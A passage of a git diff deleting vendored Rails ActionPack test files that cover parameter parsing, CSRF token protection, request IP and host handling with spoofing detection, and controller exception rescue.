-    query = "selected[]=1&selected[]=2&selected[]=3\0"
-    expected = { "selected" => [ "1", "2", "3" ] }
-    assert_parses expected, query
-  end
-
-  private
-    def with_test_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.connect ':action', :controller => "url_encoded_params_parsing_test/test"
-        end
-        yield
-      end
-    end
-
-    def assert_parses(expected, actual)
-      with_test_routing do
-        post "/parse", actual
-        assert_response :ok
-        assert_equal(expected, TestController.last_request_parameters)
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb
deleted file mode 100644
index 170cf77e..00000000
--- a/vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require 'abstract_unit'
-
-class XmlParamsParsingTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    class << self
-      attr_accessor :last_request_parameters
-    end
-
-    def parse
-      self.class.last_request_parameters = request.request_parameters
-      head :ok
-    end
-  end
-
-  def teardown
-    TestController.last_request_parameters = nil
-  end
-
-  test "parses hash params" do
-    with_test_routing do
-      xml = "<person><name>David</name></person>"
-      post "/parse", xml, default_headers
-      assert_response :ok
-      assert_equal({"person" => {"name" => "David"}}, TestController.last_request_parameters)
-    end
-  end
-
-  test "parses single file" do
-    with_test_routing do
-      xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>"
-      post "/parse", xml, default_headers
-      assert_response :ok
-
-      person = TestController.last_request_parameters
-      assert_equal "image/jpg", person['person']['avatar'].content_type
-      assert_equal "me.jpg", person['person']['avatar'].original_filename
-      assert_equal "ABC", person['person']['avatar'].read
-    end
-  end
-
-  test "logs error if parsing unsuccessful" do
-    with_test_routing do
-      begin
-        $stderr = StringIO.new
-        xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></pineapple>"
-        post "/parse", xml, default_headers
-        assert_response :error
-        $stderr.rewind && err = $stderr.read
-        assert err =~ /Error occurred while parsing request parameters/
-      ensure
-        $stderr = STDERR
-      end
-    end
-  end
-
-  test "parses multiple files" do
-    xml = <<-end_body
-      <person>
-        <name>David</name>
-        <avatars>
-          <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
-          <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
-        </avatars>
-      </person>
-    end_body
-
-    with_test_routing do
-      post "/parse", xml, default_headers
-      assert_response :ok
-    end
-
-    person = TestController.last_request_parameters
-
-    assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
-    assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
-    assert_equal "ABC", person['person']['avatars']['avatar'].first.read
-
-    assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
-    assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
-    assert_equal "DEF", person['person']['avatars']['avatar'].last.read
-  end
-
-  private
-    def with_test_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.connect ':action', :controller => "xml_params_parsing_test/test"
-        end
-        yield
-      end
-    end
-
-    def default_headers
-      {'CONTENT_TYPE' => 'application/xml'}
-    end
-end
-
-class LegacyXmlParamsParsingTest < XmlParamsParsingTest
-  private
-    def default_headers
-      {'HTTP_X_POST_DATA_FORMAT' => 'xml'}
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb b/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb
deleted file mode 100644
index 75029057..00000000
--- a/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb
+++ /dev/null
@@ -1,233 +0,0 @@
-require 'abstract_unit'
-require 'digest/sha1'
-
-ActionController::Routing::Routes.draw do |map|
-  map.connect ':controller/:action/:id'
-end
-
-# common controller actions
-module RequestForgeryProtectionActions
-  def index
-    render :inline => "<%= form_tag('/') {} %>"
-  end
-  
-  def show_button
-    render :inline => "<%= button_to('New', '/') {} %>"
-  end
-  
-  def remote_form
-    render :inline => "<% form_remote_tag(:url => '/') {} %>"
-  end
-
-  def unsafe
-    render :text => 'pwn'
-  end
-
-  def meta
-    render :inline => "<%= csrf_meta_tag %>"
-  end
-
-  def rescue_action(e) raise e end
-end
-
-# sample controllers
-class RequestForgeryProtectionController < ActionController::Base
-  include RequestForgeryProtectionActions
-  protect_from_forgery :only => :index
-end
-
-class RequestForgeryProtectionControllerUsingOldBehaviour < ActionController::Base
-  include RequestForgeryProtectionActions
-  protect_from_forgery :only => %w(index meta)
-
-  def handle_unverified_request
-    raise(ActionController::InvalidAuthenticityToken)
-  end
-end
-
-
-class FreeCookieController < RequestForgeryProtectionController
-  self.allow_forgery_protection = false
-  
-  def index
-    render :inline => "<%= form_tag('/') {} %>"
-  end
-  
-  def show_button
-    render :inline => "<%= button_to('New', '/') {} %>"
-  end
-end
-
-class CustomAuthenticityParamController < RequestForgeryProtectionController
-  def form_authenticity_param
-    'foobar'
-  end
-end
-
-
-# common test methods
-
-module RequestForgeryProtectionTests
-  def setup
-    @token      = "cf50faa3fe97702ca1ae"
-
-    ActiveSupport::SecureRandom.stubs(:base64).returns(@token)
-    ActionController::Base.request_forgery_protection_token = :authenticity_token
-  end
-  
-  
-  def test_should_render_form_with_token_tag
-    assert_not_blocked do
-      get :index
-    end
-    assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token
-  end
-
-  def test_should_render_button_to_with_token_tag
-    assert_not_blocked do
-      get :show_button
-    end
-    assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token
-  end
-
-  def test_should_allow_get
-    assert_not_blocked { get :index }
-  end
-
-  def test_should_allow_post_without_token_on_unsafe_action
-    assert_not_blocked { post :unsafe }
-  end
-
-  def test_should_not_allow_post_without_token
-    assert_blocked { post :index }
-  end
-
-  def test_should_not_allow_post_without_token_irrespective_of_format
-    assert_blocked { post :index, :format=>'xml' }
-  end
-
-  def test_should_not_allow_put_without_token
-    assert_blocked { put :index }
-  end
-
-  def test_should_not_allow_delete_without_token
-    assert_blocked { delete :index }
-  end
-
-  def test_should_not_allow_xhr_post_without_token
-    assert_blocked { xhr :post, :index }
-  end
-
-  def test_should_allow_post_with_token
-    assert_not_blocked { post :index, :authenticity_token => @token }
-  end
-  
-  def test_should_allow_put_with_token
-    assert_not_blocked { put :index, :authenticity_token => @token }
-  end
-  
-  def test_should_allow_delete_with_token
-    assert_not_blocked { delete :index, :authenticity_token => @token }
-  end
-  
-  def test_should_allow_post_with_token_in_header
-    @request.env['HTTP_X_CSRF_TOKEN'] = @token
-    assert_not_blocked { post :index }
-  end
-
-  def test_should_allow_delete_with_token_in_header
-    @request.env['HTTP_X_CSRF_TOKEN'] = @token
-    assert_not_blocked { delete :index }
-  end
-  
-  def test_should_allow_put_with_token_in_header
-    @request.env['HTTP_X_CSRF_TOKEN'] = @token
-    assert_not_blocked { put :index }
-  end
-
-  def assert_blocked
-    session[:something_like_user_id] = 1
-    yield
-    assert_nil session[:something_like_user_id], "session values are still present"
-    assert_response :success
-  end
-  
-  def assert_not_blocked
-    assert_nothing_raised { yield }
-    assert_response :success
-  end
-end
-
-# OK let's get our test on
-
-class RequestForgeryProtectionControllerTest < ActionController::TestCase
-  include RequestForgeryProtectionTests
-
-  test 'should emit a csrf-token meta tag' do
-    ActiveSupport::SecureRandom.stubs(:base64).returns(@token + '<=?')
-    get :meta
-    assert_equal %(<meta name="csrf-param" content="authenticity_token"/>\n<meta name="csrf-token" content="cf50faa3fe97702ca1ae&lt;=?"/>), @response.body
-  end
-end
-
-class RequestForgeryProtectionControllerUsingOldBehaviourTest < ActionController::TestCase
-  include RequestForgeryProtectionTests
-  def assert_blocked
-    assert_raises(ActionController::InvalidAuthenticityToken) do
-      yield
-    end
-  end
-end
-
-class FreeCookieControllerTest < ActionController::TestCase
-  def setup
-    @controller = FreeCookieController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @token      = "cf50faa3fe97702ca1ae"
-
-    ActiveSupport::SecureRandom.stubs(:base64).returns(@token)
-  end
-  
-  def test_should_not_render_form_with_token_tag
-    get :index
-    assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false
-  end
-  
-  def test_should_not_render_button_to_with_token_tag
-    get :show_button
-    assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false
-  end
-  
-  def test_should_allow_all_methods_without_token
-    [:post, :put, :delete].each do |method|
-      assert_nothing_raised { send(method, :index)}
-    end
-  end
-
-  test 'should not emit a csrf-token meta tag' do
-    get :meta
-    assert_blank @response.body
-  end
-end
-
-
-
-
-
-class CustomAuthenticityParamControllerTest < ActionController::TestCase
-  def setup
-    ActionController::Base.request_forgery_protection_token = :custom_token_name
-    super
-  end
-
-  def teardown
-    ActionController::Base.request_forgery_protection_token = :authenticity_token
-    super
-  end
-
-  def test_should_allow_custom_token
-    post :index, :custom_token_name => 'foobar'
-    assert_response :ok
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/request_test.rb b/vendor/rails/actionpack/test/controller/request_test.rb
deleted file mode 100644
index c4cc63e6..00000000
--- a/vendor/rails/actionpack/test/controller/request_test.rb
+++ /dev/null
@@ -1,395 +0,0 @@
-require 'abstract_unit'
-
-class RequestTest < ActiveSupport::TestCase
-  def setup
-    ActionController::Base.relative_url_root = nil
-  end
-
-  def teardown
-    ActionController::Base.relative_url_root = nil
-  end
-
-  def test_remote_ip
-    request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
-    assert_equal '1.2.3.4', request.remote_ip
-
-    request = stub_request 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6'
-    assert_equal '1.2.3.4', request.remote_ip
-
-    request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
-      'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
-    assert_equal '1.2.3.4', request.remote_ip
-
-    request = stub_request 'REMOTE_ADDR' => '127.0.0.1',
-      'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.16.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '192.168.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 10.0.0.1, 3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '127.0.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,192.168.0.1'
-    assert_equal 'unknown', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
-    assert_equal '3.4.5.6', request.remote_ip
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
-                           'HTTP_CLIENT_IP'       => '2.2.2.2'
-    e = assert_raise(ActionController::ActionControllerError) {
-      request.remote_ip
-    }
-    assert_match /IP spoofing attack/, e.message
-    assert_match /HTTP_X_FORWARDED_FOR="1.1.1.1"/, e.message
-    assert_match /HTTP_CLIENT_IP="2.2.2.2"/, e.message
-
-    # turn IP Spoofing detection off.
-    # This is useful for sites that are aimed at non-IP clients.  The typical
-    # example is WAP.  Since the cellular network is not IP based, it's a
-    # leap of faith to assume that their proxies are ever going to set the
-    # HTTP_CLIENT_IP/HTTP_X_FORWARDED_FOR headers properly.
-    ActionController::Base.ip_spoofing_check = false
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
-                           'HTTP_CLIENT_IP'       => '2.2.2.2'
-    assert_equal '2.2.2.2', request.remote_ip
-    ActionController::Base.ip_spoofing_check = true
-
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '8.8.8.8, 9.9.9.9'
-    assert_equal '9.9.9.9', request.remote_ip
-  end
-
-  def test_domains
-    request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
-    assert_equal "rubyonrails.org", request.domain
-
-    request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
-    assert_equal "rubyonrails.co.uk", request.domain(2)
-
-    request = stub_request 'HTTP_HOST' => "192.168.1.200"
-    assert_nil request.domain
-
-    request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
-    assert_nil request.domain
-
-    request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
-    assert_equal "200.com", request.domain
-  end
-
-  def test_subdomains
-    request = stub_request 'HTTP_HOST' => "www.rubyonrails.org"
-    assert_equal %w( www ), request.subdomains
-
-    request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
-    assert_equal %w( www ), request.subdomains(2)
-
-    request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk"
-    assert_equal %w( dev www ), request.subdomains(2)
-
-    request = stub_request 'HTTP_HOST' => "foobar.foobar.com"
-    assert_equal %w( foobar ), request.subdomains
-
-    request = stub_request 'HTTP_HOST' => "192.168.1.200"
-    assert_equal [], request.subdomains
-
-    request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
-    assert_equal [], request.subdomains
-
-    request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
-    assert_equal %w( 192 168 1 ), request.subdomains
-
-    request = stub_request 'HTTP_HOST' => nil
-    assert_equal [], request.subdomains
-  end
-
-  def test_port_string
-    request = stub_request 'HTTP_HOST' => 'www.example.org:80'
-    assert_equal "", request.port_string
-
-    request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
-    assert_equal ":8080", request.port_string
-  end
-
-  def test_request_uri
-    request = stub_request 'REQUEST_URI' => "http://www.rubyonrails.org/path/of/some/uri?mapped=1"
-    assert_equal "/path/of/some/uri?mapped=1", request.request_uri
-    assert_equal "/path/of/some/uri",          request.path
-
-    request = stub_request 'REQUEST_URI' => "http://www.rubyonrails.org/path/of/some/uri"
-    assert_equal "/path/of/some/uri", request.request_uri
-    assert_equal "/path/of/some/uri", request.path
-
-    request = stub_request 'REQUEST_URI' => "/path/of/some/uri"
-    assert_equal "/path/of/some/uri", request.request_uri
-    assert_equal "/path/of/some/uri", request.path
-
-    request = stub_request 'REQUEST_URI' => "/"
-    assert_equal "/", request.request_uri
-    assert_equal "/", request.path
-
-    request = stub_request 'REQUEST_URI' => "/?m=b"
-    assert_equal "/?m=b", request.request_uri
-    assert_equal "/",     request.path
-
-    request = stub_request 'REQUEST_URI' => "/", 'SCRIPT_NAME' => '/dispatch.cgi'
-    assert_equal "/", request.request_uri
-    assert_equal "/", request.path
-
-    ActionController::Base.relative_url_root = "/hieraki"
-    request = stub_request 'REQUEST_URI' => "/hieraki/", 'SCRIPT_NAME' => "/hieraki/dispatch.cgi"
-    assert_equal "/hieraki/", request.request_uri
-    assert_equal "/",         request.path
-    ActionController::Base.relative_url_root = nil
-
-    ActionController::Base.relative_url_root = "/collaboration/hieraki"
-    request = stub_request 'REQUEST_URI' => "/collaboration/hieraki/books/edit/2",
-      'SCRIPT_NAME' => "/collaboration/hieraki/dispatch.cgi"
-    assert_equal "/collaboration/hieraki/books/edit/2", request.request_uri
-    assert_equal "/books/edit/2",                       request.path
-    ActionController::Base.relative_url_root = nil
-
-    # The following tests are for when REQUEST_URI is not supplied (as in IIS)
-    request = stub_request 'PATH_INFO'   => "/path/of/some/uri?mapped=1",
-                           'SCRIPT_NAME' => nil,
-                           'REQUEST_URI' => nil
-    assert_equal "/path/of/some/uri?mapped=1", request.request_uri
-    assert_equal "/path/of/some/uri",          request.path
-
-    ActionController::Base.relative_url_root = '/path'
-    request = stub_request 'PATH_INFO'   => "/path/of/some/uri?mapped=1",
-                           'SCRIPT_NAME' => "/path/dispatch.rb",
-                           'REQUEST_URI' => nil
-    assert_equal "/path/of/some/uri?mapped=1", request.request_uri
-    assert_equal "/of/some/uri",               request.path
-    ActionController::Base.relative_url_root = nil
-
-    request = stub_request 'PATH_INFO'   => "/path/of/some/uri",
-                           'SCRIPT_NAME' => nil,
-                           'REQUEST_URI' => nil
-    assert_equal "/path/of/some/uri", request.request_uri
-    assert_equal "/path/of/some/uri", request.path
-
-    request = stub_request 'PATH_INFO' => '/', 'REQUEST_URI' => nil
-    assert_equal "/", request.request_uri
-    assert_equal "/", request.path
-
-    request = stub_request 'PATH_INFO' => '/?m=b', 'REQUEST_URI' => nil
-    assert_equal "/?m=b", request.request_uri
-    assert_equal "/",     request.path
-
-    request = stub_request 'PATH_INFO'   => "/",
-                           'SCRIPT_NAME' => "/dispatch.cgi",
-                           'REQUEST_URI' => nil
-    assert_equal "/", request.request_uri
-    assert_equal "/", request.path
-
-    ActionController::Base.relative_url_root = '/hieraki'
-    request = stub_request 'PATH_INFO'   => "/hieraki/",
-                           'SCRIPT_NAME' => "/hieraki/dispatch.cgi",
-                           'REQUEST_URI' => nil
-    assert_equal "/hieraki/", request.request_uri
-    assert_equal "/",         request.path
-    ActionController::Base.relative_url_root = nil
-
-    request = stub_request 'REQUEST_URI' => '/hieraki/dispatch.cgi'
-    ActionController::Base.relative_url_root = '/hieraki'
-    assert_equal "/dispatch.cgi", request.path
-    ActionController::Base.relative_url_root = nil
-
-    request = stub_request 'REQUEST_URI' => '/hieraki/dispatch.cgi'
-    ActionController::Base.relative_url_root = '/foo'
-    assert_equal "/hieraki/dispatch.cgi", request.path
-    ActionController::Base.relative_url_root = nil
-
-    # This test ensures that Rails uses REQUEST_URI over PATH_INFO
-    ActionController::Base.relative_url_root = nil
-    request = stub_request 'REQUEST_URI' => "/some/path",
-                           'PATH_INFO'   => "/another/path",
-                           'SCRIPT_NAME' => "/dispatch.cgi"
-    assert_equal "/some/path", request.request_uri
-    assert_equal "/some/path", request.path
-  end
-
-  def test_host_with_default_port
-    request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
-    assert_equal "rubyonrails.org", request.host_with_port
-  end
-
-  def test_host_with_non_default_port
-    request = stub_request 'HTTP_HOST' => 'rubyonrails.org:81'
-    assert_equal "rubyonrails.org:81", request.host_with_port
-  end
-
-  def test_server_software
-    request = stub_request
-    assert_equal nil, request.server_software
-
-    request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
-    assert_equal 'apache', request.server_software
-
-    request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
-    assert_equal 'lighttpd', request.server_software
-  end
-
-  def test_xml_http_request
-    request = stub_request
-
-    assert !request.xml_http_request?
-    assert !request.xhr?
-
-    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'DefinitelyNotAjax1.0'
-    assert !request.xml_http_request?
-    assert !request.xhr?
-
-    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
-    assert request.xml_http_request?
-    assert request.xhr?
-  end
-
-  def test_reports_ssl
-    request = stub_request
-    assert !request.ssl?
-
-    request = stub_request 'HTTPS' => 'on'
-    assert request.ssl?
-  end
-
-  def test_reports_ssl_when_proxied_via_lighttpd
-    request = stub_request
-    assert !request.ssl?
-
-    request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
-    assert request.ssl?
-  end
-
-  def test_symbolized_request_methods
-    [:get, :post, :put, :delete].each do |method|
-      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
-      assert_equal method, request.method
-    end
-  end
-
-  def test_invalid_http_method_raises_exception
-    assert_raise(ActionController::UnknownHttpMethod) do
-      request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
-      request.request_method
-    end
-  end
-
-  def test_allow_method_hacking_on_post
-    [:get, :head, :options, :put, :post, :delete].each do |method|
-      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
-      assert_equal(method == :head ? :get : method, request.method)
-    end
-  end
-
-  def test_restrict_method_hacking
-    [:get, :put, :delete].each do |method|
-      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
-        'action_controller.request.request_parameters' => { :_method => 'put' }
-      assert_equal method, request.method
-    end
-  end
-
-  def test_head_masquerading_as_get
-    request = stub_request 'REQUEST_METHOD' => 'HEAD'
-    assert_equal :get, request.method
-    assert request.get?
-    assert request.head?
-  end
-
-  def test_xml_format
-    request = stub_request
-    request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
-    assert_equal Mime::XML, request.format
-  end
-
-  def test_xhtml_format
-    request = stub_request
-    request.expects(:parameters).at_least_once.returns({ :format => 'xhtml' })
-    assert_equal Mime::HTML, request.format
-  end
-
-  def test_txt_format
-    request = stub_request
-    request.expects(:parameters).at_least_once.returns({ :format => 'txt' })
-    assert_equal Mime::TEXT, request.format
-  end
-
-  def test_xml_http_request
-    ActionController::Base.use_accept_header, old =
-      false, ActionController::Base.use_accept_header
-
-    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
-    request.expects(:parameters).at_least_once.returns({})
-    assert request.xhr?
-    assert_equal Mime::JS, request.format
-  ensure
-    ActionController::Base.use_accept_header = old
-  end
-
-  def test_content_type
-    request = stub_request 'CONTENT_TYPE' => 'text/html'
-    assert_equal Mime::HTML, request.content_type
-  end
-
-  def test_can_override_format_with_parameter
-    request = stub_request
-    request.expects(:parameters).at_least_once.returns({ :format => :txt })
-    assert !request.format.xml?
-
-    request = stub_request
-    request.expects(:parameters).at_least_once.returns({ :format => :xml })
-    assert request.format.xml?
-  end
-
-  def test_content_no_type
-    request = stub_request
-    assert_equal nil, request.content_type
-  end
-
-  def test_content_type_xml
-    request = stub_request 'CONTENT_TYPE' => 'application/xml'
-    assert_equal Mime::XML, request.content_type
-  end
-
-  def test_content_type_with_charset
-    request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
-    assert_equal Mime::XML, request.content_type
-  end
-
-  def test_user_agent
-    request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
-    assert_equal 'TestAgent', request.user_agent
-  end
-
-  def test_parameters
-    request = stub_request
-    request.stubs(:request_parameters).returns({ "foo" => 1 })
-    request.stubs(:query_parameters).returns({ "bar" => 2 })
-
-    assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
-    assert_equal({"foo" => 1}, request.request_parameters)
-    assert_equal({"bar" => 2}, request.query_parameters)
-  end
-
-protected
-
-  def stub_request(env={})
-    ActionController::Request.new(env)
-  end
-
-end
diff --git a/vendor/rails/actionpack/test/controller/rescue_test.rb b/vendor/rails/actionpack/test/controller/rescue_test.rb
deleted file mode 100644
index 58fccdce..00000000
--- a/vendor/rails/actionpack/test/controller/rescue_test.rb
+++ /dev/null
@@ -1,541 +0,0 @@
-require 'abstract_unit'
-
-class RescueController < ActionController::Base
-  class NotAuthorized < StandardError
-  end
-  class NotAuthorizedToRescueAsString < StandardError
-  end
-
-  class RecordInvalid < StandardError
-  end
-  class RecordInvalidToRescueAsString < StandardError
-  end
-
-  class NotAllowed < StandardError
-  end
-  class NotAllowedToRescueAsString < StandardError
-  end
-
-  class InvalidRequest < StandardError
-  end
-  class InvalidRequestToRescueAsString < StandardError
-  end
-
-  class BadGateway < StandardError
-  end
-  class BadGatewayToRescueAsString < StandardError
-  end
-
-  class ResourceUnavailable < StandardError
-  end
-  class ResourceUnavailableToRescueAsString < StandardError
-  end
-
-  # We use a fully-qualified name in some strings, and a relative constant
-  # name in some other to test correct handling of both cases.
-
-  rescue_from NotAuthorized, :with => :deny_access
-  rescue_from 'RescueController::NotAuthorizedToRescueAsString', :with => :deny_access
-
-  rescue_from RecordInvalid, :with => :show_errors
-  rescue_from 'RescueController::RecordInvalidToRescueAsString', :with => :show_errors
-
-  rescue_from NotAllowed, :with => proc { head :forbidden }
-  rescue_from 'RescueController::NotAllowedToRescueAsString', :with => proc { head :forbidden }
-
-  rescue_from InvalidRequest, :with => proc { |exception| render :text => exception.message }
-  rescue_from 'InvalidRequestToRescueAsString', :with => proc { |exception| render :text => exception.message }
-
-  rescue_from BadGateway do
-    head :status => 502
-  end
-  rescue_from 'BadGatewayToRescueAsString' do
-    head :status => 502
-  end
-
-  rescue_from ResourceUnavailable do |exception|
-    render :text => exception.message
-  end
-  rescue_from 'ResourceUnavailableToRescueAsString' do |exception|
-    render :text => exception.message
-  end
-
-  # This is a Dispatcher exception and should be in ApplicationController.
-  rescue_from ActionController::RoutingError do
-    render :text => 'no way'
-  end
-
-  before_filter(:only => :before_filter_raises) { raise 'umm nice' }
-
-  def before_filter_raises
-  end
-
-  def raises
-    render :text => 'already rendered'
-    raise "don't panic!"
-  end
-
-  def method_not_allowed
-    raise ActionController::MethodNotAllowed.new(:get, :head, :put)
-  end
-
-  def not_implemented
-    raise ActionController::NotImplemented.new(:get, :put)
-  end
-
-  def not_authorized
-    raise NotAuthorized
-  end
-  def not_authorized_raise_as_string
-    raise NotAuthorizedToRescueAsString
-  end
-
-  def not_allowed
-    raise NotAllowed
-  end
-  def not_allowed_raise_as_string
-    raise NotAllowedToRescueAsString
-  end
-
-  def invalid_request
-    raise InvalidRequest
-  end
-  def invalid_request_raise_as_string
-    raise InvalidRequestToRescueAsString
-  end
-
-  def record_invalid
-    raise RecordInvalid
-  end
-  def record_invalid_raise_as_string
-    raise RecordInvalidToRescueAsString
-  end
-
-  def bad_gateway
-    raise BadGateway
-  end
-  def bad_gateway_raise_as_string
-    raise BadGatewayToRescueAsString
-  end
-
-  def resource_unavailable
-    raise ResourceUnavailable
-  end
-  def resource_unavailable_raise_as_string
-    raise ResourceUnavailableToRescueAsString
-  end
-
-  def missing_template
-  end
-
-  protected
-    def deny_access
-      head :forbidden
-    end
-
-    def show_errors(exception)
-      head :unprocessable_entity
-    end
-end
-
-class RescueControllerTest < ActionController::TestCase
-  FIXTURE_PUBLIC = "#{File.dirname(__FILE__)}/../fixtures".freeze
-
-  setup :set_all_requests_local
-  setup :populate_exception_object
-
-  def set_all_requests_local
-    RescueController.consider_all_requests_local = true
-    @request.remote_addr = '1.2.3.4'
-    @request.host = 'example.com'
-  end
-
-  def populate_exception_object
-    begin
-      raise 'foo'
-    rescue => @exception
-    end
-  end
-
-  def test_rescue_exceptions_raised_by_filters
-    with_rails_root FIXTURE_PUBLIC do
-      with_all_requests_local false do
-        get :before_filter_raises
-      end
-    end
-
-    assert_response :internal_server_error
-  end
-
-  def test_rescue_action_locally_if_all_requests_local
-    @controller.expects(:local_request?).never
-    @controller.expects(:rescue_action_locally).with(@exception)
-    @controller.expects(:rescue_action_in_public).never
-
-    with_all_requests_local do
-      @controller.send :rescue_action, @exception
-    end
-  end
-
-  def test_rescue_action_locally_if_remote_addr_is_localhost
-    @controller.expects(:local_request?).returns(true)
-    @controller.expects(:rescue_action_locally).with(@exception)
-    @controller.expects(:rescue_action_in_public).never
-
-    with_all_requests_local false do
-      @controller.send :rescue_action, @exception
-    end
-  end
-
-  def test_rescue_action_in_public_otherwise
-    @controller.expects(:local_request?).returns(false)
-    @controller.expects(:rescue_action_locally).never
-    @controller.expects(:rescue_action_in_public).with(@exception)
-
-    with_all_requests_local false do
-      @controller.send :rescue_action, @exception
-    end
-  end
-
-  def test_rescue_action_in_public_with_localized_error_file
-    # Change locale
-    old_locale = I18n.locale
-    I18n.locale = :da
-
-    with_rails_root FIXTURE_PUBLIC do
-      with_all_requests_local false do
-        get :raises
-      end
-    end
-
-    assert_response :internal_server_error
-    body = File.read("#{FIXTURE_PUBLIC}/public/500.da.html")
-    assert_equal body, @response.body
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_rescue_action_in_public_with_error_file
-    with_rails_root FIXTURE_PUBLIC do
-      with_all_requests_local false do
-        get :raises
-      end
-    end
-
-    assert_response :internal_server_error
-    body = File.read("#{FIXTURE_PUBLIC}/public/500.html")
-    assert_equal body, @response.body
-  end
-
-  def test_rescue_action_in_public_without_error_file
-    with_rails_root '/tmp' do
-      with_all_requests_local false do
-        get :raises
-      end
-    end
-
-    assert_response :internal_server_error
-    assert_equal ' ', @response.body
-  end
-
-  def test_rescue_unknown_action_in_public_with_error_file
-    with_rails_root FIXTURE_PUBLIC do
-      with_all_requests_local false do
-        get :foobar_doesnt_exist
-      end
-    end
-
-    assert_response :not_found
-    body = File.read("#{FIXTURE_PUBLIC}/public/404.html")
-    assert_equal body, @response.body
-  end
-
-  def test_rescue_unknown_action_in_public_without_error_file
-    with_rails_root '/tmp' do
-      with_all_requests_local false do
-        get :foobar_doesnt_exist
-      end
-    end
-
-    assert_response :not_found
-    assert_equal ' ', @response.body
-  end
-
-  def test_rescue_missing_template_in_public
-    with_rails_root FIXTURE_PUBLIC do
-      with_all_requests_local true do
-        get :missing_template
-      end
-    end
-
-    assert_response :internal_server_error
-    assert @response.body.include?('missing_template'), "Response should include the template name."
-  end
-
-  def test_rescue_action_locally
-    get :raises
-    assert_response :internal_server_error
-    assert_template 'diagnostics.erb'
-    assert @response.body.include?('RescueController#raises'), "Response should include controller and action."
-    assert @response.body.include?("don't panic"), "Response should include exception message."
-  end
-
-  def test_local_request_when_remote_addr_is_localhost
-    @controller.expects(:request).returns(@request).at_least(10)
-    ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
-      with_remote_addr ip_address do
-        assert @controller.send(:local_request?)
-      end
-    end
-  end
-
